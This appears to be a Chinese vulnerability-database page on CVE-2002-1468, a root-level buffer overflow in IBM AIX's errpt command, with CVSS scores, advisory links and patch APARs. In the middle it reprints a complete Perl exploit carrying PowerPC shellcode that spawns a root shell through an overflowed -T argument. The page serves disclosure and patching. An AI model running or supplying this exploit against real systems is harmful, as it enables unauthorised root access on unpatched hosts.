CVE-2002-1468
CVSS10.0
发布时间 :2003-04-22 00:00:00
修订时间 :2008-09-05 16:30:40
NMCOE    

[原文]Buffer overflow in errpt in AIX 4.3.3 allows local users to execute arbitrary code as root.


[CNNVD]IBM AIX ERRPT本地缓冲区溢出漏洞(CNNVD-200304-131)

        AIX 4.3.3版本的errpt存在缓冲区溢出漏洞。本地用户以根权限执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1468
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1468
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-131
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/aix/2002-q3/0007.html
(VENDOR_ADVISORY)  AIXAPAR  IY31997
http://www.securityfocus.com/bid/5885
(UNKNOWN)  BID  5885

- 漏洞信息

IBM AIX ERRPT本地缓冲区溢出漏洞
危急 缓冲区溢出
2003-04-22 00:00:00 2005-05-13 00:00:00
本地  
        AIX 4.3.3版本的errpt存在缓冲区溢出漏洞。本地用户以根权限执行任意代码。

- 公告与补丁

        The vendor has provided fixes for IBM AIX 4.3.3 and 5.1.0:
        IBM AIX 5.1
        
        IBM AIX 4.3
        
        IBM AIX 4.3.1
        
        IBM AIX 4.3.2
        
        IBM AIX 4.3.3
        

- 漏洞信息 (21904)

IBM AIX 4.3.x/5.1 ERRPT Local Buffer Overflow Vulnerability (EDBID:21904)
aix local
2003-04-16 Verified
0 watercloud
N/A [点击下载]
source: http://www.securityfocus.com/bid/5885/info

The IBM AIX errpt command is prone to a locally exploitable buffer overflow condition. It is possible to exploit this condition to execute arbitrary attacker-supplied instructions with root privileges.

#!/usr/bin/perl
# FileName: x_errpt_aix5.pl
# Exploit command errpt for Aix5L to get a root shell.
# Tested  : on Aix5.1
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-4-16
# Announce: use as your owner risk!

$BUFF="A". "\x7c\xa5\x2a\x79"x500;

#shellcode from lsd-pl and modified by watercloud 2003-4 for Aix5L
$BUFF.="\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
$BUFF.="\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
$BUFF.="\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
$BUFF.="\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

%ENV=(); $ENV{CC}=$BUFF;

exec "/usr/bin/errpt","-T","A"."\x2f\xf2\x2a\x40"x1320;
#EOF		

- 漏洞信息

7999
IBM AIX errpt -T Parameter Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in IBM AIX. The errpt command fails to validate input to the -T argument properly resulting in a buffer overflow. With a specially crafted request, an attacker can cause the execution of arbitrary code as root resulting in a loss of integrity.

- 时间线

2002-09-27 Unknow
2003-04-16 Unknow

- 解决方案

Upgrade to version 4.3.3 (APAR IY31997), 5.1.0 (APAR IY31320), or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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